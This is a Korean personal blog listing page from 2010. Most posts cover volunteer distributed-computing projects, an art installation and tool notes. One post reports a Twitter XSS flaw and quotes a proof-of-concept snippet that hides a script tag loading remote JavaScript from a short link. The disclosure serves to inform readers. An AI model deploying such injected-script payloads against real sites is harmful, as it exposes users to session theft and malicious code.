검색결과 리스트
분류 전체보기에 해당되는 글 145건
- 2010.06.29 You are being Monitored!
- 2010.06.27 SETI@Home 시작
- 2010.06.25 Twitter.com XSS 취약점 공개
- 2010.06.25 Art : Wiltshire's CD Sea
- 2010.06.08 감사합니다, Korea@Home!
- 2010.06.08 Vi/Vim Graphical Cheat Sheet
- 2010.06.05 동명대 제 18회 TU전국정보과학올림피아드
- 2010.06.04 요즘은 World Community Grid 에 참여 중..
- 2010.06.04 ASCII-Hex Table
- 2010.06.04 ARM 디컴파일러 출시!
글
You are being Monitored!
ETC/Whatever!
2010. 6. 29. 12:57
재밌네요..ㅎㅎㅎ
'ETC > Whatever!' 카테고리의 다른 글
The Expert (Short Comedy Sketch) (0) | 2014.04.05 |
---|---|
cisco 안마기?! (1) | 2010.09.27 |
쉘노트 - shellnote (0) | 2010.09.27 |
Art : Wiltshire's CD Sea (0) | 2010.06.25 |
iPhone 쿠션 (0) | 2010.05.26 |
글
SETI@Home 시작
IT/Programming/분산컴퓨팅(BOINC)
2010. 6. 27. 19:13
원래 7월 부터 시작하려고 했는데, 사실은 10일 전에 SETI@Home 에 참여하였습니다.
WCG 프로젝트만 수행해오던 노트북에 SETI@Home 을 추가하고 각각 50% 씩 CPU 작업량을 할당했는데, 덕분에 WCG 의 작업량이 절반으로 뚝 떨어진 것을 볼 수 있었습니다. 새로운 프로젝트의 시작이지만 그와 동시에 기존의 작업의 수행력이 떨어져가는 걸 보고 있자니 참 기분이 묘하군요.
<그림 2> SETI 프로젝트 도입 후 나타난 작업량 그래프
꾸준한 상승 곡선이 좋았는데 말이지요. 한풀 꺾이는 것 같아 아쉽습니다. CPU 를 냉큼 업그레이드 하고 싶은데, 그럴 돈이 있으면 CPU를 먼저 사진 않겠지요 -_-; 살게 얼마나 많은데.. 지금도 제 CPU 는 100%로 돌아가고 있습니다.
뭐가 좋냐고요? 기부도 할수 있고.... 가끔 추울 때 노트북을 끌어 안으면 매우 따뜻해서 참 좋습니다..-_-;; 정말요.. -_-;;;
사실 쌓여가는 작업과 Credit 들을 보다보면 뿌듯합니다. ;) 그 맛에도 하는 거지요.
SETI@Home 의 예정 작업시간은 4달정도로 잡고 있습니다만, -_-; 노트북의 평균 CPU 성능이 1.8ghz 정도라서 그냥 하나만 잡고 돌려버릴까 생각중입니다. 그래도 WCG에 더 정감이 가는건 어쩔 수 없네요.. :)
뭐가 좋냐고요? 기부도 할수 있고.... 가끔 추울 때 노트북을 끌어 안으면 매우 따뜻해서 참 좋습니다..-_-;; 정말요.. -_-;;;
사실 쌓여가는 작업과 Credit 들을 보다보면 뿌듯합니다. ;) 그 맛에도 하는 거지요.
SETI@Home 의 예정 작업시간은 4달정도로 잡고 있습니다만, -_-; 노트북의 평균 CPU 성능이 1.8ghz 정도라서 그냥 하나만 잡고 돌려버릴까 생각중입니다. 그래도 WCG에 더 정감이 가는건 어쩔 수 없네요.. :)
'IT/Programming > 분산컴퓨팅(BOINC)' 카테고리의 다른 글
2010년 4월 4일 WCG 프로젝트 수행 현황 (0) | 2010.07.26 |
---|---|
2010년 3월 15일 WCG 프로젝트 수행 현황 (0) | 2010.07.08 |
감사합니다, Korea@Home! (0) | 2010.06.08 |
요즘은 World Community Grid 에 참여 중.. (0) | 2010.06.04 |
@Home Project / BOINC 를 아시나요? (0) | 2010.05.09 |
글
Twitter.com XSS 취약점 공개
IT/Security/Web
2010. 6. 25. 15:59
Twitter 의 XSS 취약점이 인도네시아 해커 H4x0r-x0x 에 의해 발견되었습니다.
해당 취약점은 예전에 생각해보았던 취약점이었는데, 테스트 해보지 않았던게 아쉽네요. :(
어찌되었던 그동안 XSS와 CSRF 취약점에 한참 시달려오던 Twitter 은 이번에도 예외없이 보안문제로 질타를 받게될 것 같습니다.
문제는 이렇습니다.
<그림 1> Script 가 실행 가능한 구역인 Application Name 필드
바로 저 곳에서 XSS 취약점이 발생한다는 것인데, web에서 작성한 트윗이니 web으로 찍히겠지요. 저기에 직접 스크립트를 삽입하기 위해서는 Application 등록을 해야하는데, 트위터의 개발자 센터의 새 어플리케이션 등록 [ http://dev.twitter.com/apps/new ] 에서 Application Name 을 기입할 때 XSS 코드의 Injection 이 가능합니다.
<그림 2> 어플리케이션 등록 화면. Application Name 에서 Code Injection 이 가능하다.
취약점을 발표한 H4x0r 은 다음과 같은 PoC를 공개했습니다.
<span>via <a href="http://www.0wn3d-5ys.co.cc" rel="nofollow">Ub­erTwi­tter<span
style="visibility: hidden"> <script src='http://is.gd/cWO66' type='text/javascript'></script></a>
</span>
style="visibility: hidden"> <script src='http://is.gd/cWO66' type='text/javascript'></script></a>
</span>
스크립트 삽입이 가능해지면서 공격자의 Party 는 열리게 됩니다. :)
결론적으로, 이번 XSS 취약점은 대부분의 경우가 그렇지만,
"사용자 입력 검증 루틴이 부실했기 때문이다" 라고 이야기할 수 있겠습니다.
결론적으로, 이번 XSS 취약점은 대부분의 경우가 그렇지만,
"사용자 입력 검증 루틴이 부실했기 때문이다" 라고 이야기할 수 있겠습니다.
보다 자세한 정보는 아래의 링크를 참고해주세요.
[ http://praetorianprefect.com/archives/2010/06/persistent-xss-on-twitter-com/ ]
[ http://praetorianprefect.com/archives/2010/06/persistent-xss-on-twitter-com/ ]
'IT/Security > Web' 카테고리의 다른 글
about:blank 가 다른 페이지로 표시될 때 (1) | 2014.07.10 |
---|---|
메가파일 쿠키 스푸핑 취약점 (13) | 2010.07.09 |
글
Art : Wiltshire's CD Sea
ETC/Whatever!
2010. 6. 25. 13:11
Outstanding!
CD로 만들어낸 아름다운 세상.
잠깐이라도 한번 놀러가보고 싶은 곳입니다.
"I was very nervous about it," admits Munro. "You never know how something will work out, but now I could not be happier. I'm so grateful to everyone who turned out to help and CDSea looks amazing, like a giant painting on the grass."
60만 장의 CD가 투입되었고, 140명의 자원봉사자들에 의해서 CD가 바람에 흐트러지지 않도록 CD 위에 돌을 놓는 작업을 했다고 하네요.
바티칸의 미디어 회사에서 기부한 손상 된 CD로 이루어져있다고 합니다.
더 많은 CD Sea 들을 보실 수 있는 링크입니다.
[ http://news.bbc.co.uk/local/wiltshire/hi/people_and_places/arts_and_culture/newsid_8753000/8753141.stm ]
바티칸의 미디어 회사에서 기부한 손상 된 CD로 이루어져있다고 합니다.
더 많은 CD Sea 들을 보실 수 있는 링크입니다.
[ http://news.bbc.co.uk/local/wiltshire/hi/people_and_places/arts_and_culture/newsid_8753000/8753141.stm ]
'ETC > Whatever!' 카테고리의 다른 글
The Expert (Short Comedy Sketch) (0) | 2014.04.05 |
---|---|
cisco 안마기?! (1) | 2010.09.27 |
쉘노트 - shellnote (0) | 2010.09.27 |
You are being Monitored! (0) | 2010.06.29 |
iPhone 쿠션 (0) | 2010.05.26 |
글
감사합니다, Korea@Home!
IT/Programming/분산컴퓨팅(BOINC)
2010. 6. 8. 20:45
사실은 조금 시간이 지난 이야기입니다. 바쁘다보니 이제야 포스팅을 하네요.
밑의 이메일을 보시면 아시다시피 Korea@Home 이 SETI@Korea 로 탈바꿈을 합니다.
[그림 1] Korea@Home 에서 전달 된 E-Mail
이런저런 사정으로 인해서 예고된 일정보다는 조금 늦게, 4월 달 초에 받았는데
받고나니 완전 뿌듯합니다.
밑의 이메일을 보시면 아시다시피 Korea@Home 이 SETI@Korea 로 탈바꿈을 합니다.
[그림 1] Korea@Home 에서 전달 된 E-Mail
이런저런 사정으로 인해서 예고된 일정보다는 조금 늦게, 4월 달 초에 받았는데
받고나니 완전 뿌듯합니다.
[그림 2] Korea@Home 감사장 앞면
[그림 3] 클로즈업!
감사합니다.
특별히 이익이 될 것은 없었지만,
애간장을 태우는 순위만이 유일한 보상이었지만,
더 풍요로운 삶을 가져오는 일에 기여하는 것을 기쁨으로 여겨주셔서...
평생토록 잊혀지지 않을 소중한 글귀라고 생각합니다.
제가 처리한 유니트들은 밑의 그림에서 보시다시피 12702 개의 유니트들로 그다지 많은 편은 아닙니다.
하지만 코엣홈을 2007년 부터 돌려서 2010년까지 시간이 날 때 조금씩 하던 것이 10000개를 넘는 유니트들을 만들어냈네요.
CPU도 그다지 좋은 편이 아니어서 상대적으로 굉장히 비효율적으로 처리해왔었는데..
그래도 꾸준히 한 것이라 코엣홈이 얼마나 어렵고 많은 일을 겪어왔는지에 대해서는
적지 않게 알고 있다고 생각하고 있습니다. 대단합니다.
감사합니다.
특별히 이익이 될 것은 없었지만,
애간장을 태우는 순위만이 유일한 보상이었지만,
더 풍요로운 삶을 가져오는 일에 기여하는 것을 기쁨으로 여겨주셔서...
평생토록 잊혀지지 않을 소중한 글귀라고 생각합니다.
제가 처리한 유니트들은 밑의 그림에서 보시다시피 12702 개의 유니트들로 그다지 많은 편은 아닙니다.
하지만 코엣홈을 2007년 부터 돌려서 2010년까지 시간이 날 때 조금씩 하던 것이 10000개를 넘는 유니트들을 만들어냈네요.
CPU도 그다지 좋은 편이 아니어서 상대적으로 굉장히 비효율적으로 처리해왔었는데..
그래도 꾸준히 한 것이라 코엣홈이 얼마나 어렵고 많은 일을 겪어왔는지에 대해서는
적지 않게 알고 있다고 생각하고 있습니다. 대단합니다.
[그림 4] Korea@Home 감사장 뒷면
코엣홈의 운영진은 정말로 적습니다. 제가 시작할 때만 했어도 그래도 10명 즈음은 되던 것 같던데
2009년에 접어들어서는 3~4명 급기야 2명까지로 줄어들더군요.
그 힘든 시기를 증명이라도 하듯 서버 다운도 잦았고, 에이전트도 정상적으로 작동하지 않는 일이 많아
참여 유저도 점점 줄어드는 악순환이 반복되고 있었습니다.
게시판이 불평으로 가득차던 나날도 있었고 운영진의 묵묵부답으로 애가 많이 탄 적도 있었지요.
그래도 조금 늦더라도 운영진들이 항상 책임감 있게 유저들과 소통해주어서 좋았습니다.
[그림 5] 상품으로 온 한국과학진흥위원회(KISTI) USB 메모리
사실 어떻게 보면 어쩔 수 없이 한국과학기술진흥회와 손을 잡아 SETI@Korea 로 새롭게 다시 시작하는 것 같은데,
결과가 어떻든 다시 한 번 코엣홈 신화를 이루어냈으면 좋겠습니다.
많은 유니트들을 수행하지는 못했지만, 그간 3년 동안의 코엣홈과의 우여곡절,
응용이 하나씩 완료되어 갈 때의 기쁨과 순위가 오르는 소소한 재미,
그 모든 일들이 제 삶에 있어서도 정말 기억에 남는 좋은 추억이 될 것 같습니다.
Korea@Home 의 마지막 인사이자 감사의 증표들, 감사합니다. (__)
차후 SETI@Korea 에서도 참여할 예정입니다. 그 때를 기약하며..
사실 어떻게 보면 어쩔 수 없이 한국과학기술진흥회와 손을 잡아 SETI@Korea 로 새롭게 다시 시작하는 것 같은데,
결과가 어떻든 다시 한 번 코엣홈 신화를 이루어냈으면 좋겠습니다.
많은 유니트들을 수행하지는 못했지만, 그간 3년 동안의 코엣홈과의 우여곡절,
응용이 하나씩 완료되어 갈 때의 기쁨과 순위가 오르는 소소한 재미,
그 모든 일들이 제 삶에 있어서도 정말 기억에 남는 좋은 추억이 될 것 같습니다.
Korea@Home 의 마지막 인사이자 감사의 증표들, 감사합니다. (__)
차후 SETI@Korea 에서도 참여할 예정입니다. 그 때를 기약하며..
'IT/Programming > 분산컴퓨팅(BOINC)' 카테고리의 다른 글
2010년 4월 4일 WCG 프로젝트 수행 현황 (0) | 2010.07.26 |
---|---|
2010년 3월 15일 WCG 프로젝트 수행 현황 (0) | 2010.07.08 |
SETI@Home 시작 (0) | 2010.06.27 |
요즘은 World Community Grid 에 참여 중.. (0) | 2010.06.04 |
@Home Project / BOINC 를 아시나요? (0) | 2010.05.09 |
글
Vi/Vim Graphical Cheat Sheet
IT/Programming/Solution/Tip
2010. 6. 8. 06:48
Vim 을 잘 쓰면 정말 편하죠. 가끔은 간지도 나고... -_-;
개인적으로 Vim 의 사용법을 주기적으로 확인하는 것이 정말 좋다고 생각합니다.
굉장히 쓸데 없어보이는 명령들도 정말 요긴하게 쓰이는 경우가 없지 않아 있기 때문에...^^;
'IT/Programming > Solution/Tip' 카테고리의 다른 글
netcat 컴파일 시 (res_init) /tmp/cccUSCm5.o(.text+0x1b1a): undefined 에러 나는 경우 (0) | 2010.11.02 |
---|---|
[telnet] getaddrinfo : localhost Name or service not known 에러 발생 시 (2) | 2010.08.31 |
error: public.gpg.key: import read failed. 해결 방법 (0) | 2010.08.24 |
(NAT)외부에서 VMWARE Guest OS 에 접속하기 (2) | 2010.03.24 |
(레드햇9)Redhat9 에서 vmware로 인터넷이 안될 때 (0) | 2010.03.19 |
글
요즘은 World Community Grid 에 참여 중..
IT/Programming/분산컴퓨팅(BOINC)
2010. 6. 4. 11:33
2010년 3월 달 부터 그나마 짧게나마 수행해왔던 Docking@Home 프로젝트를 잠시 멈추고
WCG(World Community Grid) 프로젝트에 SETIKAH 팀 소속으로 참여했습니다.
앞으로 약 7월 달 까지 WCG에 참여하고 SETI@Home 에 참여할 생각입니다.
여태까지 달랑 노트북 하나로만 프로젝트를 참여해 왔는데, 앞으로 운영할 리눅스 서버 2대에
BOINC 를 설치하여 프로젝트에 투입할 생각입니다.
분산컴퓨팅 프로젝트의 진행 현황은 주기적으로 포스팅 됩니다.
'IT/Programming > 분산컴퓨팅(BOINC)' 카테고리의 다른 글
2010년 4월 4일 WCG 프로젝트 수행 현황 (0) | 2010.07.26 |
---|---|
2010년 3월 15일 WCG 프로젝트 수행 현황 (0) | 2010.07.08 |
SETI@Home 시작 (0) | 2010.06.27 |
감사합니다, Korea@Home! (0) | 2010.06.08 |
@Home Project / BOINC 를 아시나요? (0) | 2010.05.09 |
글
ASCII-Hex Table
IT/Security/System
2010. 6. 4. 07:26
여태까지 보아오던 ASCII-Hex 테이블 중 가장 보기 편했던 표인 것 같습니다... ^^;
'IT/Security > System' 카테고리의 다른 글
한글과컴퓨터 - DLL Hijacking 제로데이(0-day) 취약성 발생과 그 경과 ㅡ 아쉬운 한글과컴퓨터의 태도 (6) | 2010.09.16 |
---|---|
Microsoft 0-day LNK 취약점 분석 문서 4종 모음 (0) | 2010.07.27 |
ARM 디컴파일러 출시! (0) | 2010.06.04 |
리눅스 메모리 구조에 관한 간략한 설명 (0) | 2010.05.11 |
Ubuntu 10.04 Beta2 설치기 (0) | 2010.04.22 |
글
ARM 디컴파일러 출시!
IT/Security/System
2010. 6. 4. 07:11
<그림 1> ARM 디컴파일러가 2010/06/03 날짜로 출시되었다.
Hex-Rays ARM Decompiler v1.0 Comparison Page
Welcome to the Hex-Rays ARM Decompiler v1.0 comparison page! Below you will find side-by-side comparisons of disassembly and decompiler. Please maximize the window too see both columns simultaneously.
역시 Hex-Rays 입니다. ARM Decomplier 가 출시되었네요.
자세한 정보는 [ http://www.hex-rays.com/hexarm_compare0.shtml ] 를 참고해보시길 바랍니다.
'IT/Security > System' 카테고리의 다른 글
Microsoft 0-day LNK 취약점 분석 문서 4종 모음 (0) | 2010.07.27 |
---|---|
ASCII-Hex Table (0) | 2010.06.04 |
리눅스 메모리 구조에 관한 간략한 설명 (0) | 2010.05.11 |
Ubuntu 10.04 Beta2 설치기 (0) | 2010.04.22 |
/bin/sh 주소를 찾을 때 (0) | 2010.03.17 |